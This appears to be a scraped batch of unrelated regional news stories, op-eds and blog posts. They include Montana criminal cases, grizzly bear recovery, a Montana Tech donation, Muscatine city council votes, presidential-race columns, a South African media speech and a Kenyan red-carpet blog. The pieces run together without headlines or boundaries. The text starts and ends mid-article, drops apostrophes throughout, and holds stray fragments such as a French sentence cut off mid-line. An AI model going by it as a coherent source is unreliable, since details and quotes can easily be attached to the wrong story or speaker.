The teen was taken to St. James Healthcare where she was examined by medical staff and interviewed by personnel from the Child Evaluation Center.

The teens mother indicated her daughter was living with Wingate because she was unruly and difficult to discipline, Skuletich said.

Wingates attorney requested that his client be released on recognizance due to his work in Big Sky and an inability to post bond.

Wingate is being held at the county jail on $50,000 bond. A preliminary hearing was set for May 19.
A former Lewis and Clark County sheriff's deputy arrested for pulling a gun on a man he called "an ISIS" while drunk at a party received a deferred sentence Thursday.

Phillip Jay Clark was initially charged with two felony counts of assault with a weapon and criminal endangerment on accusations he pointed a gun at a man's chest three times with his finger on the trigger at a bonfire in December. Clark pleaded guilty to two lesser charges of negligent endangerment as part of an agreement.

Clark, 49, received an 18-month deferred imposition of sentence for the two charges.

Clark, who has since resigned from the sheriff's office, admitted to causing substantial danger by pointing and waiving a loaded firearm at various people while intoxicated during a bonfire outside his home on Dec. 4.

"Mixed with the alcohol, the handgun probably wasn't a good idea," Clark told District Judge Kathy Seeley.

Seeley went with a compromise between the sentence recommendations of both sides. Ole Olson, assistant state attorney general, asked for a two-year suspended jail sentence with special conditions.

"Several innocent lives were put at risk," Olson said.

Clark's private attorney, Matt Johnson, recommended a one-year deferred imposition of sentence. Under both sentences, he would be under supervision. With a deferred sentence, the conviction can be removed from his record upon completion.

Clark, who has been on house arrest when not in treatment, opted to have his initial appearance, arraignment and sentencing in one hearing.

As conditions of his sentence, Clark must relinquish his Public Safety Officer Standards and Training certificate; not possess any firearms; follow treatment recommendations, including six weeks of in-patient treatment for post-traumatic stress disorder; and not consume alcohol for the duration of the sentence.

Clark, who has been in law enforcement for 24 years, was arrested in January. At the time, he had already started treatment for PTSD partly stemming from military deployment oversees, according to testimony.

Clark's rock bottom was being put in an orange jail jumpsuit in front of coworkers and inmates he had arrested, Johnson said.

"That was significant punishment for him," Johnson said. "He's here a broken man. He knows he's messed up."

At the time of Clark's arrest, Johnson said his client was acting in self defense. The topic was not brought up during Thursday's hearing.

The main victim, identified as C.F., is a friend of Clark's neighbor, court documents note. C.F. told the investigator Clark was "super intoxicated" and "excited" when he arrived at the gathering.

The documents say C.F. told the investigator Clark hit him in the ribs then asked the victim to name the capital of Thailand, responded "Bangkok," and hit him in the groin before the man could respond.

"C.F. had long hair on his head, facial hair and he is half-Asian," court documents note.

Later during the bonfire, Clark reportedly became aggressive toward the man again and called him "an ISIS" while brandishing his gun. C.F. reported a friend telling him to flee.

"He said as he ran away he was '100% positive he was gonna start shooting,'" the documents say.

During Thursday's hearing, Johnson called Clark's wife Michelle to the stand. She spoke of the hardships the arrest and subsequent media coverage have caused her family. Clark was placed on leave when the accusations surfaced, and he was later forced to resign from his job as sheriff's deputy, she said.

"The impact is that he's lost everything," Michelle Clark said.

"It's been a nightmare for my family and myself."
A woman beat to death a 1-year-old girl on a rural Montana Indian Reservation, threw the baby's body into a Dumpster, and reported her missing before confessing to the crime a day later, a federal investigator testified Friday.

Janelle Red Dog, 42, appeared in tribal court on the Fort Peck Reservation, about 20 miles from the U.S.-Canada border, and was ordered back into custody without bond, court officials said. Tribal prosecutors are expected to charge her by Tuesday, when she is scheduled for another hearing.

Bureau of Indian Affairs investigator Ken Trottier testified that Red Dog confessed to punching Kenzley Olson several times on Tuesday, killing her, KTMF-TV reported. She then put the girl's body in a duffel bag and threw it in a Dumpster, he said.

Red Dog reported Kenzley missing hours later, prompting authorities to issue an alert that said the girl was kidnapped by a man and woman from North Dakota. The man and woman turned out to not be involved, and the alert was canceled after Red Dog reportedly confessed and drew a map to Kenzley's body, according to KTMF.

Red Dog's attorney, Mary Zemyan, did not immediately return a telephone message seeking comment.

The relation between Red Dog and the girl remains uncertain. Kenzley's neighbor Peter Dupree said Red Dog had been caring for the child while her mother was away, but that could not be confirmed.

Dupree said he watched teams of local and federal investigators working through the neighborhood, including looking through trash bins in the alleys that run behind Kenzley's house.

"It's so sad," he said. "This is a baby who was probably crawling and everything else."

It was the second major event in recent weeks to rattle the reservation, home to the Assiniboine and Sioux tribes. In late February, a man allegedly abducted a 4-year-old girl from a park in the reservation town of Wolf Point. She was found alive several days later.

Authorities say the man sexually assaulted and attempted to kill the girl. He has pleaded not guilty.
A Belgrade woman who admitted embezzling from a Butte eye care center received a 10-year sentence to the Montana Department of Corrections on Thursday, with eight suspended and was ordered to pay restitution of more than $13,000.

Laurie Ann Butkay had previously denied bilking Rocky Mountain Eye Center, 3417 Busch St., of more than $10,000 in eye wear products and money between October 2014 and January 2015.

As part of a plea deal with Butte-Silver Bow County prosecutors, she pleaded guilty to felony theft in November 2015.

The states recommendation of a four-year deferred sentence to the DOC was countered by Susan Carroll, state probation and parole officer, who said Butkays prior felony conviction in South Dakota didnt entitle her to a deferred imposition.

The case was later dismissed and sealed; however, the deferred sentence is still classified as a conviction, according to state statute.

Carroll recommended a minimum of 10 years suspended and restitution of $13,261  more than double that stated in the plea agreement  citing the necessity for Butkay to be accountable to the victims.

Public Defender Deirdre Caughlan argued that the $6,500 in restitution agreed on by the parties was a compromise.

Jolinda Murphy, the centers satellite director, testified the fallout from Butkays actions continues for us.

We didnt come up with that plea deal.  All of us  we dont agree with it, she said.

Chief Deputy County Attorney Samm Cox argued that the state was in a precarious position due to the binding contract made between the parties.

Noting the breach of the plea agreement violated Butkays guilty plea, presiding district Judge Brad Newman told the defendant he could issue a motion on her behalf to withdraw her guilty plea and proceed toward trial.

The defendant declined, with Caughlan arguing for three to four years of suspension, saying Butkay could pay the $6,500 in restitution within the week, had strong family support, and had taken accountability by seeking counseling.

Butkay, reading from a statement, expressed her shame and admitted many mistakes in her life. She ended by saying she was ready to pay for the wrongs that I have committed.

In handing down his sentence, Newman said he rejected the parties plea agreement  that the courts hands were tied based on the defendants choices.

She was deceitful, dishonest, and she stole from her employer on a repeated basis, he said.

Caughlan asked for a stay of sentence for one week so that her client could get her affairs in order. Newman denied the request.

Following the sentencing, Tressie Malloy, the centers office manager, said the judges ruling served justice.

We are very happy that Judge Newman has decided to assign Laurie to the Department of Corrections for her actions, Malloy said. She has hurt many people in our office, in our community. She forged a signature, and she did many wrong things, and we are just thrilled shes convicted.
A program on the late artist Wade Nelson starts at 6:45 p.m. Friday, April 22, at US Bank, Park and Main, Uptown Butte.

Nelson's paintings are featured at the bank. The exhibit reception runs 5:30 to 7:30 p.m.

Nelson, who 10 years ago was diagnosed with cancer, died Aug. 7, 2016. The program will feature Nelson's drive to live and remain productive after the cancer diagnosis.

Nelson waged a valiant 10-year battle against three cancers he referred to as the Dragon. The cancers robbed him of his body, but did not shatter his hope destroy his peace, silence his courage, invade his soul, conquer his spirit or steal his eternal life with the Lord.

Nelson earned a degree in art from Montana State University in 1972. He the taught in Montana schools large and small, retiring after a 23-year career with the Thompson Falls School District.

He was selected Montana Art Educator of the Year and was the first Montana art teacher to be awarded National Board certification. He was granted a Fulbright Memorial Fund scholarship to study the education system of Japan.

During one summer vacation, the Art Institute pf Chicago provided him with a studio to explore his passion for painting. With his creative juices continuing to flow, he painted full time for the next seven years. His work was exhibited in many galleries and art museums around the state. On the day of his passing, an opening of his most recent show was held in Uptown Butte.

In the years between his first cancer diagnosis and his passing, Nelson and his wife, Paula, put together a bucket list and spent much of their time traveling. They crossed the country several times, as well as visited the countries o Mexico, Peru, Guatemala, Honduras, China, Tibet, Italy, Turkey, Japan, Thailand, Cambodia, Laos and Burma.

This exhibit is the last body of work Nelson created before his death. The show will close after Friday.
Chris Servheen says hes retiring after 35 years as the U.S. Fish and Wildlife Service grizzly bear recovery coordinator so he can spend more time with the bears.

When you become a coordinator like that, its not all running around catching bears all the time, Servheen said Thursday. There are a lot of people involved in grizzly recovery. Youve got to get everyone to work together toward that common goal. Its sanitation and secure habitat and motorized route density and outreach and education and what to do with nuisance bears and limiting mortality and getting good science so we have a good foundation to make decisions. Thats all the things I do.

And hes done it since 1981, six years after the big predators became a threatened species under the U.S. Endangered Species Act. Now 65, Servheen has guided grizzly recovery through the administrations of Ronald Reagan, George H.W. Bush, Bill Clinton, George W. Bush and Barack Obama. He lost an attempt to reintroduce grizzlies into the Bitterroot Wilderness, but hes close to getting grizzlies off federal protection in the Greater Yellowstone Ecosystem.

The low point for the Yellowstone population came in the early 80s when the (garbage) dumps closed and we had lots of mortality, said Tom France, regional executive director of the National Wildlife Federation. The number of bears was about 200 and the population scientists said extinction was a possibility. Now were at 700 bears, give or take, and bears are in places that they havent been seen in decade. Their range is dramatically extended. Chris really led what has been a successful strategy for bringing bears back.

Servheens efforts also have earned him some vociferous enemies. Perhaps the most outspoken is Louisa Wilcox, who regularly challenges the notion of delisting grizzly bears on her blog, The Grizzly Times.

Things could have been a lot better for bears and the community of biologists working for them if Chris had a little more compassion and professional respect, Wilcox said. If you look at his record of losing lawsuits, he hasnt gotten away with it.

While Servheen works for the Fish and Wildlife Service and serves as an adjunct assistant professor at the University of Montana, hes done most of his work with the Interagency Grizzly Bear Committee. That roundtable of state, federal, Canadian and non-government bear managers has the task of keeping all the gears meshed on the goal of getting grizzlies off federal protection.

Cabinet-Yaak grizzly recovery coordinator Wayne Kasworm will take Servheens chair on the committee. He inherits a region where an estimated 1,000 grizzlies inhabit the Northern Continental Divide Ecosystem between Missoula and Glacier National Park, but only tiny bear populations in Selkirks, North Cascades and Kasworms own backyard.

The IGBC announced plans to delist Greater Yellowstone Ecosystem grizzlies in 2007. A lawsuit put the bears back on the threatened list in 2009, after Missoula Federal District Court Judge Don Molloy ruled the Fish and Wildlife Service didnt adequately explain the impact of loss of whitebark pine nuts on the bears food supply and population.

Servheen spent the next six years overseeing new research documenting what the bears eat and how to count their numbers. In 2015, he presented results that showed grizzlies had found alternative foods to replace white pine nuts and that their numbers were strong and growing in and around Yellowstone National Park. A new delisting plan was unveiled last week at public meetings in West Yellowstone and Bozeman. Public comment on that plan continues through May 10.

Turning grizzly bears over to state management doesnt just mean they might become big-game hunting targets like black bears and mountain lions, although thats what most of the public discourse has focused on. Removing grizzlies from the Endangered Species Act changes the way the U.S. Forest Service manages roads and timber sales in the mountains. It changes how cattle and sheep ranchers can defend their livestock, and where they might consider grazing herds. It might change the way people see their relationship with wildlife. It might change the fate of the Endangered Species Act, which has few examples of species that have become un-endangered.

The farther you get from grizzly bears, the further you get from the reality of living with grizzly bears, said Servheen, who plans to spend more time in the field camping and studying bears once he's retired. I was paid by the taxpayers of this country to look after the interests of grizzly bears and to balance their needs with the needs of people. I believe it was a good investment of tax dollars to recover grizzly bears. We have a healthy, robust population, and I didnt think when I started this it would be possible. It was a privilege and honor to be given that job to try and recover the grizzly bear.
Chuck, as those closest to him knew him by, was born in the post mining boom-town of Butte, Montana. He was a 112-pound bantam-weight wrestling champion at Butte High School, a Telecom Field Labor Supervisor out west in his late teens and early twenties, an Army soldier through his mid-twenties where he served basic Army duty at several bases around the USA, only to be ultimately sent to the DMZ in Korea, where he met the mother of his children. He was a proud Vietnam veteran where he served as a communications officer on a Huey Helicopter, surviving 13 crashes in his tour. Post war, he became a consummate salesman, focusing his talents on home appliances at several retailers, with the Meier & Frank department store in Portland, Oregon, moving he and his new family down from Montana. In Portland, he served several years at Smith Home Furnishings and G&C Distributing as General Manager, and ultimately became best known as a regional Manufacturer Sales Rep for Maytag. He retired as the National Sales Trainer for Maytag in 1999, at the age of 56.
In 1991, six years after he graduated, Gary Kolstad made his first contribution to Montana Tech.

The grateful alum, launched on a promising career track with oilfield-services giant Schlumberger, gave $25.

Friday, Montana Tech will announce a $300,000 gift from the Glasgow, Montana, native and his wife Janet, who graduated from Tech together. That will bring the Kolstads' total donations to the school to more than $1.4 million.

"Pay it forward," Gary Kolstad said simply in an interview on Thursday.

After 21 years in positions of steadily growing importance with Schlumberger, he was "head-hunted" in 2006 for the CEO job at CARBO Ceramics, a global oilfield services technology company with headquarters in Houston.

Kolstad's latest gift will go toward the construction of Tech's Living Learning Center, designed to be a residence hall with learning areas and common spaces. It's expected to become the campus' new social hub.

"There's been a group of us (alumni) who have been pretty intensely involved over the past 15-plus years," Kolstad said. "We've kept in touch, and we've kept after it. We've been outspoken  respectful but unafraid to let people at Tech know our opinions."

Now, he says, Montana Tech has it all going on.

"I'm proud of where Tech is today," he said Thursday. "But I'd say we're in the first inning."

Kolstad will be the keynote speaker Friday at Tech's Society of Petroleum Engineers Symposium.

Gary Kolstad grew up on a ranch near Glasgow. Money was tight, and he didn't have the easiest childhood. He became determined not to be defined by that.

"I can remember the exact place I was in Glasgow High School my sophomore year when I vowed to myself, 'I'm not going to let any of this affect me. I'm going to find a way to win.'"

Janet Kolstad (formerly Tuss) also grew up in modest circumstances. Her father worked for the Anaconda Company, and her mother worked for the Great Falls Tribune.

For the first several years of their marriage, the Kolstads had to endure being apart quite a bit.

"Four months after we were married, we took jobs in different places and saw each other maybe once every other week," he says. "But we got through it."

Janet went to work for ARCO when Gary started with Schlumberger. Eventually they would live in Colorado, California, Oklahoma, Kansas, Texas, Indonesia, the United Arab Emirates, and Russia. Now Houston-based, they relish trips back to Montana. The Kolstads have a ranch near Glasgow and a home in Great Falls.

"When we're ready, we'll think about retiring in Whitefish," Gary Kolstad says. But he gives no indication he's anywhere near done with his career. When he talks about the cutting-edge fracking software his company sells, his speech patterns quicken and his eyes light up with enthusiasm.

At a lunch on Thursday at Tech, he counseled some of the students who have received scholarships from the Gary and Janet Kolstad Endowment, valued at more than $1.1 million and producing more than $40,000 in annual giving.

Some of his distinctly old-school advice to them:

Increase your self-awareness. "Sit down and have a cup of coffee with yourself and think, 'What am I doing? What do I want to do?'"

Don't follow the crowd. "Don't let society make decisions for you," he said.

Save. "Whatever you make, set aside 10 percent. Invest it and don't touch it," he said. "That will take a lot of stress out of your life."

Don't be afraid of work. "Even if you have an engineering degree, tell them you'll start as an equipment operator. You'll drive a truck. You'll do whatever they need done. In a downturn like this one, they'll appreciate that. Then, once you start, remind them you can do more."

Give back. "When you have success out there, give a little back to Tech for the students who'll be around this table in 20 years. Do that. It's important."

Kolstad said he's confident his advice will be heeded. "All the stuff you hear about millennials these days? It doesn't apply to Montana Tech millennials," he said. "They're known in this industry for their work ethic, for finding constructive solutions."

He told the students to use that. "Go out with confidence" to seek a job, he said. "People like me already believe in you because of Montana Tech. So be confident. Not arrogant, but confident."

The engaging, articulate Kolstad says he understands life can be challenging. But he doesn't believe in complaining about it.

"Feeling sorry for yourself," he said, "is the biggest waste of time."
On May 14, the Montana Republican Party has scheduled a delegate selection convention. With the Montana primary being held on June 7, scheduling the delegate convention before the primary is a mistake. The results of the primary should determine the selection of the delegates. If Donald Trump or Ted Cruz win the most votes in the Montana primary, then the delegate selected should be individuals who support them. If there is a brokered convention, as expected, the second ballot and maybe even the third ballot could determine the winner. By hosting the delegate convention before June 7, no one knows the outcome of the primary. That means that all of the delegates selected early might even be supporters for Jeb Bush, Paul Ryan or Mitt Romney. They could easily vote for one of these three on the second and following ballots and maybe, just maybe, that could be the reason why delegates will be selected on May 14 and ahead of the primary.
It is undoubtedly true that how we spend our money reveals a lot about ourselves. But there is something obscenely voyeuristic about scrutinizing private citizens legal charitable contributions in order to attack them. This is what State Senator Christine Kaufmann attempts in her recent op-ed on Greg and Susan Gianfortes charitable giving. That she does not even find this method embarrassing indicates how eager she is to sacrifice decency for the purpose of personal destruction.

I respect Ms. Kaufmanns willingness to express her strong opinions on social issues. To dismiss other people religious convictions, though, in order to accomplish this purpose is disgraceful. It belongs to a political culture that, to use her word, is most definitely dangerous.

If Ms. Kaufmann has the support of her constituents, she is perfectly entitled to be a cheerleader for all the Hollywood pet causes. But her priorities have negative consequences for Montana.

Rather than attacking the Gianfortes, maybe she should look at her own partys record in government. Our state is number 1 in suicide rate nationally and second to last in wages. Nothing shows more clearly how much her party has neglected the critical issues Montanans face.

Without a hint of humility Kaufmann presents herself as a moral authority. I am unconvinced, but I take her at her word.

Let me suggest a moral imperative: Where was she when her party supported an agreement with the Iranian theocracy. The deal has given financial support and international legitimacy to a violently anti-gay and anti-woman murderous regime. This represents a perfect opportunity for people who claim moral leadership to speak out.

It would clearly give her credibility but it would, of course, also demand courage. So that is why we will likely continue to see Ms. Kaufmann safely rummaging through people's personal charitable giving records.

-- Tom Downey, Butte
HELENA  Three state lawmakers say they are going to propose a bill in the 2017 legislature to change how a state-owned plane can be used.

Sen. Mark Blasdel, R-Kalispell, and Reps. Ryan Osmundson, R-Buffalo, and Brad Tschida, R-Missoula, said the bill will prohibit use of the state plane for traveling to state events within 120 miles of Helena, except in an emergency.

The bill would also prohibit the use of a state plane when official and campaign events fall on the same trip.

The move comes after Republicans have criticized Gov. Steve Bullock's use of the state-owned plane. Rep. Brad Tschida, R-Missoula, accused Bullock of holding campaign events at taxpayer expense in a guest opinion run in The Missoulian newspaper.

Over the years, Democrats and Republicans have traded jabs over use of the state plane. Last legislative session, a budget subcommittee on a partisan vote stripped away money used to pay for the plane temporarily. Tschida made the motion, arguing too many flights were made to places like Butte, Great Falls and Missoula. Bullock's staff has said the plane is necessary for travel in a large state and to keep the governor from spending all his time getting from place to place.

This campaign season, he has criticized flights Bullock made to state events in Billings, Missoula and Bozeman which preceded campaign events he then attended.

Bullocks legal advisors have said there was nothing wrong with the governors use of the plane.

Bullock spokeswoman Ronja Abel said Thursday: "Gov. Bullock uses the state plane less on average than any previous governor. It is a shame these legislators are already more focused on playing politics with plane policy than they are on job-creation policy."

However, the governor released a new policy last month to allow for reimbursement.

The policy the governor adopted and made retroactive to the start of his term will refund the state, though the release said increased costs to the state are very rare due to the fixed costs associated with the trips.

The governor has paid the state back for costs from 21 trips. The state plane costs $500 an hour to operate, according to a Bullock spokeswoman. That works out to Bullock paying back an average of $127.23 per trip.

On Friday the Republican Governors Association will release its first ad in the Montana governor's race. The ad focuses on Bullock's use of the state plane.

The six-figure ad buy will run in four markets across the state.

Suffering from a severe lack of credibility and transparency, Gov. Steve Bullocks latest attempt to deceive voters has created a crisis of leadership in Montana, said RGA communications director Jon Thompson. After getting caught using the state plane for campaign travel more than 20 times  spending precious taxpayer dollars for political purposes  Bullock has refused to release his schedule, hiding the truth from Montanans. Steve Bullock is just another liberal politician covering up a scandal.

Blasdel, Osmundson and Tschida released the following statements:

Sen. Blasdel: This bill puts an end to any governors ability to abuse taxpayer dollars  its simply wrong to take advantage of a State resource to raise money for your campaign.

Rep. Osmundson: As a pilot, Im deeply bothered by Bullocks misuse of the State plane, flying such short distances that should be driven and shortchanging taxpayers by refusing to pay for the full costs of the state plane.

Rep. Tschida: Theres a level of arrogance demonstrated by our Governor, who only reimbursed taxpayers because he got caught and then continues to fly on the taxpayers dime to these fundraisers, as if nothing were wrong.
MUSCATINE, Iowa  The conversion of Second Street from a one-way to a two-way from Pine to Mulberry was approved, with Bob Bynum and Scott Natvig voting against, and all others voted in favor.

Scott Natvig stated that because many people are against it, he would not support permanently changing the street.

Resident Eva McBride, who suggested that the city turn Third Street into a one-way moving in the opposite direction at a previous meeting, reiterated her idea.

That seems to me that it would cost less money than making Second Street from a one-way into a two-way. They were talking about the traffic flow, and that would solve that problem. I also brought up the idea of having a referendum to see what the town really thinks ... also I think that it [a two-way] would subtract from the parking spaces downtown which downtown businesses need, she stated at Thursday night's meeting.

Other discussion was held, and Jim Edgmond, city engineer, stated the project initially came about during discussion of the construction work on Mississippi River Drive.

In the evaluation of the construction for the Mississippi River Drive Corridor Project, there was a significant effort up front, and this idea was hatched as part of it, as part of the planning process  it has to do with years of experience and best judgment, and relying on our consultant, he said.

Claire Martin, a downtown business owner, stated that she was concerned about the amount of time the project would consume, because there are other construction projects closing roads as well.

"When you start to do something, theres so much time involved that it affects us as a business owner, but all the projects now that are going on now downtown are affecting us, she said.

Councilman Phillip Fitzgerald stated that he had seen the effect on other downtown areas, and said it was completely positive.

I think youll see growth, I think the issues that people are complaining about and talking and discussing, youre having those problems now, but you wont in the future, he said.
MUSCATINE, Iowa  After lengthy discussion Thursday on the proposed urban chicken pilot program, the Muscatine City Council voted against it 4-3.

Councilmen Scott Natvig, Phillip Fitzgerald, Tom Spread and Allen Harvey voted against the urban chicken pilot program. Councilman Mike Rehwaldt, Bob Bynum, and Santos Saucedo voted in favor. The council also unanimously voted an amendment to the proposal to shorten the pilot program to 18 months.

Several council members expressed that they have had communications regarding the program, both for and against, and people present at the meeting also spoke for both sides. Natvig received some of those calls, and said that because of them he was not in favor of the program moving forward.

Id like to say that the group that presented this did a thorough job, but Ive received several calls this week with residents who have had problems within city lots, he said.

Alma Morgan, with Hy-Line, a chicken hatchery facility in Wilton, spoke against the proposal, because it employs residents of Muscatine, and are concerned that they could pose a risk to the safety of the facilitys chickens, particularly because of the avian influenza that went through Iowa last year.

We are opposed to this, because a lot of our staff comes from within the city limits, this is a pretty large bio-security risk for us, this is a very large hatchery, and we really work hard to prevent any diseases coming in, which means that all of our chickens are free of avian flu and harmful salmonellas. The level of protection that we can offer our chickens just isnt possible in backyard plots, he said.

He also said that the company chose Wilton in part because it's location that reduces the threat.

One of the deciding factors in moving to Wilton was that it was rural  theres a lot more hogs in this area than chickens, thats one of the reasons we chose this area, he said.

Several people addressed his concerns, including Jay Brady, who spoke at a previous city council meeting and assisted in compiling the proposal.

On the bio security issue, its a real concern, but statistics show that backyard chicken farms have not been an issue with this  the avian flu is transmitted in various ways, they believe ducks and geese carry it, but it almost feels to me like as a citizen I cannot have the privilege of having chickens in my yard, it sounds like they dont want any chickens in rural America, only in their facilities, he said.

He also stated that there are measures that can be taken by urban farmers to minimize the risks of chickens infecting other chickens with avian influenza, and provisions were added to the proposal to assist in minimizing the risk.

There are things we can do, part of that is cleanliness, they tell you how to have bio-security baths, to me, this is all manageable, the risk is minimal, and I think were kind of getting to blowing it out of proportion, he said.

Angie Overton, agreed with Brady, stating that she has seen other cities with urban chicken programs, and there would be little risk of avian influenza.

Those of us who are getting into this program have some sort of farm background and are fully aware that avian flu came through Iowa a couple of years ago and will take measures to prevent anything from happening to our chickens, she said.

Deliberations continued, and when council members stated that they were concerned about the two year timeline of the proposal, Saucedo suggested that they reduce the pilot program to 18 months.

I feel like we should at least say we tried, rather than just shutting it down and not giving them a chance, he said.

Brady reminded the council that his wife had gathered over 500 petition signatures in support of the program.

After Saucedo suggested the motion be amended to 18 months, council members did not approve the reduction in time and did not pass the chicken pilot program.
MUSCATINE, Iowa  Elementary students throughout Muscatine County are encouraged to get creative and enter the RAGBRAI art contest for a chance to win Chamber Dollars and an ultimate prize of $350 from the statewide RAGBRAI organization.

Youth who have completed kindergarten through fifth grade during the current school year are eligible to participate in the competition. Entry forms for the contest are available at RAGBRAIMuscatine.com or at the Greater Muscatine Chamber of Commerce & Industry office at 102 Walnut St.

Entries may include drawings, paintings or sculptures. Artwork must incorporate the theme: Muscle Down to Mussel Town and must not exceed 11-by-14 inches. All artwork submitted becomes property of the RAGBRAI Muscatine Committee and will be used to promote RAGBRAI throughout the community.

Deadline for submission is 5 p.m. June 3 with drop-off at the Greater Muscatine Chamber of Commerce and Industry office at 102 Walnut St.

The winner will be announced during a town meeting on June 7. First place will receive $20 in Chamber dollars and will be sent to Des Moines to compete for the grand prize of $350 from the statewide RAGBRAI organization. First and second runners up will receive $15 and $10 in Chamber dollars, respectively.

Anyone who wants their artwork after the judging is complete can pick it up at the GMCCI office 8 a.m.-5 p.m. Aug. 1-5.

For more information about Muscatines hosting of RAGBRAI, visit www.RAGBRAIMuscatine.com.
The cost is $80 per table or $10 per person with a eight players per table limit. Those who don't have a team large enough for a full table are invited to attend regardless. To reserve a table, call 309-587-8640. Participants can bring their own snacks, but the church will also have root beer floats and pizza by the slice available to purchase.
After decisive victories by Donald Trump and Hillary Clinton in the New York primaries, Democratic leaders need to send a strong, stern message to Bernie Sanders: Back off. Stop attacking Hillary. If you want to stay in the race to propound your policy ideas, fine. But don't keep undercutting the one candidate who can save the party  and the country  from a President Trump.

Lately, Sanders has been going in the opposite direction. As his chances for the Democratic nomination slip away, he's turned angry and acerbic, providing Republicans with an arsenal of ammunition to use against Clinton in the fall. That's a dangerous and selfish game.

Some Republicans keep insisting they can stop Trump on their own. Clearly he fails to command a majority in his own party, with only 2 out of 5 Republicans backing him in national polls. Among all voters, his favorable rating in the latest Wall Street Journal/NBC poll stands at 24 percent, with his negatives soaring to 65 percent  the worst showing in the history of that poll for a major presidential contender.

But suppose Trump falls short of a majority. As Robert Gates, the former defense secretary, is fond of saying: The three words not spoken often enough in Washington are, "and then what?"

Anti-Trump Republicans seem to be saying that if The Donald fails to win on the first ballot, his reaction will be: "That's fine. I concede. Have a nice day." But the exact opposite is much more likely. He'll fight like a demon and threaten to trash the party if he loses.

Add in the fact that the only plausible alternative to Trump, Ted Cruz, is widely despised in the party for his extreme policies and obnoxious personality and ran a dismal third in New York. By far, the most likely scenario is a Trump victory in Cleveland.

Which brings us back to the Democrats. Give Sanders credit: He's run a strong campaign that has energized young voters, raised vast amounts of money and exposed Clinton's weaknesses.

In the Journal/NBC poll, her negative rating hits 56 percent and only 19 percent of all voters view her as honest. Even among Democrats, only 40 percent fully trust her, down from 52 percent in October.

"The cracks are showing, and she is losing strength," says Bill McInturff, the Republican pollster who helped conduct the survey.

Some of this is Clinton's fault. By her own admission, she's handled the State Department email mess badly. And since she's been running for president since 2008, it made absolutely no sense for her to take huge speaking fees from questionable sources that could be used against her.

But Sanders is making her problem worse, precisely because he has credibility on the issue of Wall Street influence. Trump is a billionaire, with a long record of unsavory financial dealings, so his ability to attack her on money issues is very limited.

Now he doesn't have to; all he has to do is quote Sanders about her perfidy. And Bernie keeps handing Trump new material. His latest assault implies that Clinton violated campaign finance laws in her complicated dealings with the Democratic National Committee.

That comes after he questioned her qualifications to be president  a silly but potentially damaging accusation that will certainly find its way into Republican ads next fall.

Robby Mook, Clinton's campaign manager, accused Sanders of "poisoning the well for Democratic candidates up and down the ticket," and he has a point.

"The damage is hardly fatal, but it is starting to matter, especially in Mrs. Clinton's standing with crucial independent voters," writes the Journal's Gerald Seib. Sanders' "line of attack," he adds, "seems almost designed to hit Mrs. Clinton in her area of greatest vulnerability, which is voter doubts about her honesty and trustworthiness."

Clinton offered an olive branch after New York, pointedly saying, "To all the people who supported Sen. Sanders, I believe there's much more that unites us than divides us."

Will Sanders now accept that gesture? It's virtually certain that he will never be president of this country, and that's a very hard pill for any politician to swallow after such a long and exhausting campaign. But swallow it he must.

It's time for Sanders to face reality. Who does he want running the country? Filling Supreme Court vacancies? Negotiating with foreign leaders?

Clinton or Trump?

If the answer is "Clinton," he has to start helping her, not hurting her.

Steve and Cokie Roberts can be contacted by email at stevecokie@gmail.com.
Les blattes ou cafards (Blatta orientalis) sont des insectes qui appartiennent a la famille des Blattoptera. Ils se caracterisent par leur forme allongee, leurs ailes []
The media should use its influence to shape the developmental agenda, with a view to move South Africa forward, says Communications Minister Faith Muthambi.

I would argue that there is greater room for the media to use its influence to shape our developmental agenda.

Our nation is grappling with immense challenges due to our tragic past, and we need every facet of society, especially the media, to help to move South Africa forward, said Minister Muthambi on Thursday.

She was speaking at the 2nd eThekwini three-day Social Cohesion Summit currently underway at the Chief Albert Luthuli ICC, in Durban.

It is also indisputable that the media industry has grown in leaps and bounds since being unshackled from the yoke of apartheid in 1994. Our constitutional commitment to freedom of expression has resulted in a robust and independent media. Even though we ourselves may fall victim to the fierce independence of the media, we will fight for this independence to remain strong, said the Minister.

She said the gathering is crucial in that South Africans need to have a serious conversation about social cohesion, or lack thereof.

The Minister said the role of media is to ensure access to information which is essential to the health of the countrys democracy and development.

It must ensure that citizens make responsible and informed choices rather than acting out of ignorance or misinformation.

The stories it generates must contribute to our development by allowing South Africans to make better decisions or take advantage of opportunities, she said.

Minister Muthambi said there must be a debate about ownership patterns of the media and whether these make room for a more diverse ownership pattern, reflecting the transformed nature of the society.

Community Media

She said community media and radio can be a conduit for continuous dialogue on a range of pressing issues such as safety, health, education, employment and rural development.

According to the Minister, community media and radio can lead national conversations on that which divides the nation, and provide platforms for ordinary citizens to make their voices heard.

Community media and radio can play a vital role in our joint vision of building a united, non-racial, non-sexist, democratic and prosperous society.

We continue to have a situation where big media houses dominate the playing field in South Africa. Such a state of affairs 22 years into democracy is not ideal or desirable, she said.

Media transformation

The Minister also announced that the department has kick-started a conversation around media transformation that will ultimately culminate into a discussion document on media transformation.

In keeping with our democratic principles, we are consulting widely with media owners, industry associations and other stakeholders. I trust that the finalised document will assist us in ensuring more diversity in our content, newsrooms and ownership patterns, she said.

Since 1994, government has always sought to use the power of communication to serve the community by informing, educating and providing open access to information.

The SABC

Minister Muthambi said she strongly believes that the South African Broadcasting Corporation (SABC) remains one of the major pillars when it comes to ensuring that all South Africans are informed about government activities.

As the SABC continues to evolve it must strive even harder to be a credible and diverse national media broadcaster.

I believe public service media must at all times be transparent and must work towards the common good, she said.

SAnews

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Ive never understood Kenyan leaders obsession with the red carpet. It must be rolled out for anyone with some authority.

In most cases, it makes zero sense, like this time it was laid out for Waiguru as she planted a tree.



In Waigurus case, it even doesnt look like a real red carpet. The edges are rough and it is clearly up for replacement. Other than that, it was totally unnecessary in this instance.

As it was at these other times.







Mandera could not even get a red carpets with a uniform shade of red, yet the governor insisted he steps on it while inspecting the guard of honor? Really?

Im struggling to understand whether the county askaris went into formation first then the carpet was laid around them, or it was the other way round.



When Obama arrived at JKIA, he walked on tarmac towards his car. If the Secret Service were not running things, Im sure Kenyan protocol chiefs would have laid out their longest and newest carpet for him.

What do you think?


Postpartum depression, also known as postnatal depression is a type of depression that many parents experience after having a baby. It is a common problem that affects 1 in every 7 mothers.

A conversation about the clinical depression has surfaced within the Kenyan circle. Earlier this week, Citizen TVs Janet Mbugua hosted a discussion on Monday Special about Kenyans suffering from postpartum depression.

On that note, film-making company MoonBeam Productions Limited is taking the conversation a notch higher with a film based on postpartum depression.

A trailer of the upcoming film has been released by MoonBeam director, Eve DSouza, and it is as frightening as it gets.

Eve DSouza said,

